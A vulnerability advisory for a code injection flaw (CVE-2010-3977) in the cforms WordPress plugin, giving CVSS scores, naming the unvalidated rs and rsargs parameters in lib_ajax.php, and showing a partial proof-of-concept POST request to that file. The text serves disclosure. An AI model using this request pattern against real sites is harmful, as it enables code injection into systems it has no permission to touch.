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Security Advisory: Cform WordPress Plugin v 11 | CVE-2010-3977

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According to Delicious Days, “cforms is a powerful and feature rich form plugin for WordPress, offering convenient deployment of multiple Ajax driven contact forms throughout your blog or even on the same page.”

This problem was confirmed in the following versions of the cforms WordPress Plugin, other versions maybe also affected.

    • cforms v11.5


CVSS Scoring System

The CVSS score is: 5.5

    • Base Score: 6.7


    • Temporal Score: 5.5


    • We used the following values to calculate the scores:


    • Base score is: AV:N/AC:L/Au:N/C:C/I:C/A:N


    • Temporal score is: E:F/RL:OF/RC:C



A data array is created in lib_ajax.php using values from a form field in a POST request.  The parameters rs and rsargs are not validated and thus it is possible to inject code.



POST /wp-content/plugins/cforms/lib_ajax.php HTTP/1.1

Host: <server>

User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv: Gecko/20100914 Firefox/3.6.10

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 115

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Content-Length: 219

Cookie: wp-settings-1=m0%3Do%26m1%3Do%26m2%3Do%26m3%3Do%26m4%3Do%26m5%3Do



%26uploader%3D1%26m11%3Do; wp-settings-time-1=1285758765;

c o m m e n t _ a u t h o r _ 9 3 f 4 1 b a 0 b 1 6 f 3 4 6 7 6 f 8 0 2 0 5 8 e 8 2 3 8 8 f 6 = t e s t  ;


Pragma: no-cache

Cache-Control: no-cache





This vulnerability has been brought to our attention by Wagner Elias from Conviso IT Security company and researched internally by Rodrigo Rubira Branco from the Check Point Vulnerability Discovery Team (VDT).

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